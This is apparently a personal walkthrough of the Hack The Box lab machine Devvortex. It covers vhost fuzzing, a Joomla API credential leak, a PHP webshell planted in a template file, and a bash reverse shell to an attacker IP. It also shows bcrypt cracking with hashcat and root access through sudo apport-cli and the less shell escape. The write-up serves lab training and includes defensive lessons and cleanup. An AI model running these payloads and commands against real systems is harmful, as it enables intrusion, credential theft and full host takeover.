Skip to content
  • nmap reveals ports 22 and 80 open
    • 22 openssh 8.2p1
    • 80 http nginx 1.18.0
  • manual inspection of source

    • OwlCarousel2/2.3.4
    • jquery-3.4.1.min.js
  • Subdomain enumeration -

    • ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb
      • DNS - domain names
      • -u url
      • -H host header - include space after 'Host: ' to account for the space in the html
      • this threw tons of 302 with size 154
    • ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb' -fs 154 -t 50
      • -fs adds a filter for responses with 154 bytes
      • reveals dev subdomain
  • Checking robots.txt http://dev.devvortex.htb/robots.txt

    • reveals the site uses Joomla
      • ``` # If the Joomla site is installed within a folder

eg www.example.com/joomla/ then the robots.txt file

MUST be moved to the site root

eg www.example.com/robots.txt

AND the joomla folder name MUST be prefixed to all of the

paths.

eg the Disallow rule for the /administrator/ folder MUST

be changed to read

Disallow: /joomla/administrator/

For more information about the robots.txt standard, see:

https://www.robotstxt.org/orig.html

User-agent: * Disallow: /administrator/ Disallow: /api/ Disallow: /bin/ Disallow: /cache/ Disallow: /cli/ Disallow: /components/ Disallow: /includes/ Disallow: /installation/ Disallow: /language/ Disallow: /layouts/ Disallow: /libraries/ Disallow: /logs/ Disallow: /modules/ Disallow: /plugins/ Disallow: /tmp/ ``` - navigating to administrator gives us a joomla login page

  • Finding the Joomla version # to then look for exploits for the version

    • google search for how do i determine which version of joomla i have without logging in
      • https://joomla.stackexchange.com/questions/7148/how-to-get-joomla-version-by-http
      • mid page with 3 upvotes
        • how to read _Joomla!_ mainfest file/administrator/manifests/files/joomla.xmlin order to return the version number.
      • navigating to http://dev.devvortex.htb//administrator/manifests/files/joomla.xml
        • reveals joomla 4.2.6
        • Pasted image 20260905152711.png
  • Joomla version 4.2.6 exploit hunting

    • https://xz.aliyun.com/news/11621
      • exposed api's
    • http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
      • reveals
        • editor tinymce
        • dbtype mysqli
        • user lewis
        • password P4ntherg0t1n5r3c0n##
        • db joomla
        • dbprefix sd4fg_
    • http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20
      • reveals
        • 6 secret ZI7zLTbaGKliS9gq
        • 13 mailfrom lewis@devvortex.htb
  • Joomla user password reuse

    • lewis reuses his db password P4ntherg0t1n5r3c0n## for joomla admin page
  • curl to send reverse shell

  • nc to catch reverse shell

  • id

  • whoami
  • pwd
  • logan dir holds user.txt
  • sudo -l - nothing
  • ss -tlnp reveals mysql db

  • using lewis and reused password to login to the database

    • www-data@devvortex:/home/logan$ mysql -u lewis -p'P4ntherg0t1n5r3c0n##'
    • ```bash mysql> show databases; +--------------------+ | Database | +--------------------+
      | information_schema |
      | joomla |
      | performance_schema |
      +--------------------+
      mysql> use performance_schema ; ERROR 1044 (42000): Access denied for user 'lewis'@'localhost' to database 'performance_schema' mysql> use joomla; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A

Database changed mysql> describe sd4fg_users; +---------------+---------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +---------------+---------------+------+-----+---------+----------------+ | id | int | NO | PRI | NULL | auto_increment | | name | varchar(400) | NO | MUL | | | | username | varchar(150) | NO | UNI | | | | email | varchar(100) | NO | MUL | | | | password | varchar(100) | NO | | | | | block | tinyint | NO | MUL | 0 | | | sendEmail | tinyint | YES | | 0 | | | registerDate | datetime | NO | | NULL | | | lastvisitDate | datetime | YES | | NULL | | | activation | varchar(100) | NO | | | | | params | text | NO | | NULL | | | lastResetTime | datetime | YES | | NULL | | | resetCount | int | NO | | 0 | | | otpKey | varchar(1000) | NO | | | | | otep | varchar(1000) | NO | | | | | requireReset | tinyint | NO | | 0 | | | authProvider | varchar(100) | NO | | | | +---------------+---------------+------+-----+---------+----------------+ 17 rows in set (0.00 sec)

mysql> select id, name, username, email, password from sd4fg_users; +-----+------------+----------+---------------------+--------------------------------------------------------------+ | id | name | username | email | password | +-----+------------+----------+---------------------+--------------------------------------------------------------+ | 649 | lewis | lewis | lewis@devvortex.htb | \(2y\)10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u | | 650 | logan paul | logan | logan@devvortex.htb | \(2y\)10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 | +-----+------------+----------+---------------------+--------------------------------------------------------------+ 2 rows in set (0.00 sec)

  ```
-

Foothold — Joomla Admin → RCE as www-data

Why this step: Joomla renders templates as PHP, and the admin panel ships a template file editor by design. Admin access on a PHP CMS is therefore equivalent to code execution. There is no CVE here — the vulnerability was the unauthenticated API leak that produced the admin password.

  • Navigate: System → Site Templates → Cassiopeia Details and Files
    • NOT "Site Template Styles" — that page is config only, no file editor
    • Direct URL: http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=templates
  • index.php is not writable on this box — the save fails. Use error.php
    • error.php is the better target regardless: renders only on 404s, so the live site isn't broken, and the trigger is any bogus URL
    • Lesson: writability is per-file. Try each; don't fixate on the obvious one
  • Payload inserted on line 1 of /templates/cassiopeia/error.php:
    <?php if(isset($_GET['theo'])) { system($_GET['theo']); exit; } ?>
    

Flags/Notes - isset($_GET['theo']) — the gate. Without it, every 404 on the site runs system(null), throws PHP warnings and mangles the error page. Gate = stability + stealth - system() — executes AND echoes raw output into the response body. (exec() returns last line only and prints nothing; shell_exec() returns a string and needs echo; passthru() passes binary through) - exit; — halts rendering so output isn't buried in error-page HTML

Trigger

curl -s 'http://dev.devvortex.htb/yourmom?theo=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse shell

# listener
nc -lvnp 9001
# trigger — -G + --data-urlencode so curl encodes the & > and quotes for you
curl -s -G 'http://dev.devvortex.htb/yourmom' \
  --data-urlencode 'theo=bash -c "bash -i >& /dev/tcp/10.10.14.X/9001 0>&1"'

TTY upgrade

script /dev/null -c bash
# Ctrl+Z ; stty raw -echo; fg ; Enter Enter
export TERM=xterm


www-data → logan

Finding the webroot — you have nginx, so ask nginx:

cat /etc/nginx/sites-enabled/*          # look for the 'root' directive
find /var/www -name configuration.php 2>/dev/null

Principle: a web app must authenticate to its DB on every request with no human present, so the credentials must live in a file the web user can read. configuration.php / wp-config.php / .env / settings.py / database.yml.

Joomla randomises the table prefix at install (sd4fg_) — unguessable without this file.

Cracking logan's bcrypt

echo -n '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > loot/logan.hash
cat loot/logan.hash     # ALWAYS verify — see gotcha below
hashcat -m 3200 loot/logan.hash /usr/share/wordlists/rockyou.txt
# → tequieromucho   (21 seconds)

Flags/Notes - -m 3200 — bcrypt ($2*$). Wrong mode = "no hashes loaded" or silent zero results - Single quotes are mandatory. In double quotes bash expands $2/$1/$0 as positional params → they become empty → hash silently corrupted - Only cracked logan. lewis's cleartext was already known — cracking a password you already have is wasted GPU time - Speed was 64 H/s (CPU-only PoCL). Cracked in 21s only because tequieromucho sits at candidate ~1,400 of 14,344,385. Full pass would be 14.3M ÷ 64 ≈ 62 hours. Rule: keyspace ÷ H/s = worst-case seconds. If it reads "days," find another path

ssh logan@10.129.229.146      # tequieromucho
cat ~/user.txt

logan → root — sudo apport-cli (CVE-2023-1326)

logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

logan@devvortex:~$ /usr/bin/apport-cli --version
2.20.11

What apport is: Ubuntu's automatic crash-reporting system (not backup). Catches segfaults, writes .crash files to /var/crash/, offers to file a bug.

Why this is the escape — GTFOBins "Inherit"

GTFOBins' apport-cli page has no Sudo section — only Inherit. That is the finding, not a dead end:

GTFOBins section Meaning
Shell / Sudo / SUID escape is built into the binary itself
Inherit binary has no escape — it spawns a child that does

apport-cli shells out to a pager (less) to display the report. A child inherits its parent's privileges → sudo apport-cli → less runs as root → less's ! shell escape returns a root shell.

The "Unprivileged" tag on that page describes the trigger (any user can reach the pager), not the resulting privilege. You supply the sudo.

Rehearsal without sudo first (good practice — learn the menu flow safely):

logan@devvortex:~$ /usr/bin/apport-cli
Please choose (S/V/K/I/C): v
logan@devvortex:~$ id
uid=1000(logan) ...        # confirms it gives nothing without sudo

The real thing

ls -la /var/crash/
sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_bash.1000.crash
# choose: V   (View report)  → screen fills, ':' prompt appears = that's less
!/bin/bash

Flags/Notes - -c PATH — report from a specific crash file instead of scanning pending ones. Deterministic; no guessing what it picks up - Must produce more output than fits the screen, or less never engages and there's no pager to escape from - ! — less's built-in "run a shell command" - Use the full path /bin/bash — sudoers secure_path constrains PATH - ERROR: Cannot update /var/crash/...: Permission denied is cosmetic — apport failing to write back to a logan-owned file as root. The escape still works - If /var/crash/ is empty, generate one: sleep 300 & then kill -SIGSEGV $!

root@devvortex:/home/logan# id
uid=0(root) gid=0(root) groups=0(root)
root@devvortex:~# cat root.txt

Attack Chain

nmap -p- (22, 80)
 └── devvortex.htb — static, dead end
     └── vhost fuzz (-H 'Host: FUZZ.devvortex.htb' -fs 154) → dev.devvortex.htb
         └── robots.txt → /administrator/ + /api/
             └── manifests/files/joomla.xml → Joomla 4.2.6
                 └── unauth API config leak (CVE-2023-23752, 4.0.0–4.2.7)
                     └── lewis : P4ntherg0t1n5r3c0n##
                         ├── Joomla admin panel (password reuse)
                         │   └── Cassiopeia error.php → RCE as www-data
                         └── MySQL (same password again)
                             └── joomla.sd4fg_users → logan bcrypt
                                 └── hashcat → tequieromucho
                                     └── SSH as logan → user.txt
                                         └── sudo apport-cli → less → !/bin/bash
                                             └── root.txt

Lessons Learned

  • "Alarming message, actually succeeded" — hit four times on this box. This was the recurring failure mode:

    1. Blank page from the webshell — PHP had fired; exit; suppressed the 404 page. Blank ≠ the styled 404 page, and the difference tells you whether the problem is delivery or payload
    2. ERROR 1044 ... to database '<password>' — authentication had succeeded. 1045 = authentication (who are you), 1044 = authorization (what may you touch). You can't fail 1044 without passing 1045
    3. GTFOBins "Unprivileged" — describes the trigger, not the outcome
    4. apport: Permission denied — cosmetic; root shell still spawned → Read error text literally before concluding failure.
  • Three parsing layers eat your input: bash → URL/protocol → remote interpreter. Every mechanical bug today was one layer misreading something:

    • Trailing ' copied from a shell-quoted curl URL into the browser
    • mysql -u lewis -p <pw> — space after -p makes the next token the DB name
    • echo "$2y$10$..." — double quotes expand $2/$1/$0 to empty → When something behaves oddly, work out which layer ate it.
  • GTFOBins "Inherit" is a real escape, not a dead end. No Sudo section just means the escape lives in a child process. Ask: what does this thing shell out to? Pagers (less, more), editors (vi, nano), $PAGER/$EDITOR handoffs. Under sudo they all run as root.

  • Version-first beats guessing. manifests/files/joomla.xml turned "some Joomla" into "4.2.6" and collapsed the CVE search to one release. Same move worked on apport-cli --version.

  • Admin panel on a PHP CMS ⇒ assume RCE. Go find the file editor. WordPress theme editor, Drupal, Magento — same primitive.

  • Config files are where creds live, by necessity. An app authenticating to a DB with no human present must store the secret readable by the web user.

  • Test every credential against every service. P4ntherg0t1n5r3c0n## was leaked as a database password and worked for the Joomla web admin panel and MySQL. That reuse is what converted an info leak into admin access.

  • Filter on size when status codes are uniform. Every vhost returned 302 / 154 bytes (nginx catch-all). -fc 302 over-filtered; -fs 154 removed the noise signature and surfaced dev.

  • Rehearse interactive exploits unprivileged first. Running apport-cli without sudo to learn the menu flow, then firing for real, is how you avoid fumbling a one-shot primitive in front of a client.

  • Before cracking, ask what it buys you. bcrypt cost 10 is deliberately slow. Cracking lewis would have gained nothing.

  • .bash_history -> /dev/null — standard HTB hardening. On real systems shell history is frequently a goldmine; always check.


Cleanup (engagement hygiene)

  • /templates/cassiopeia/error.php still contains the webshell — revert it. Recoverable from a stock Joomla 4.2.6 tarball.
  • Three failed sudo attempts as www-data were logged. Note _laurel in /etc/passwd — this box runs the Laurel auditd plugin, so auth failures are being shipped to audit logs. On a real engagement that is a detection event.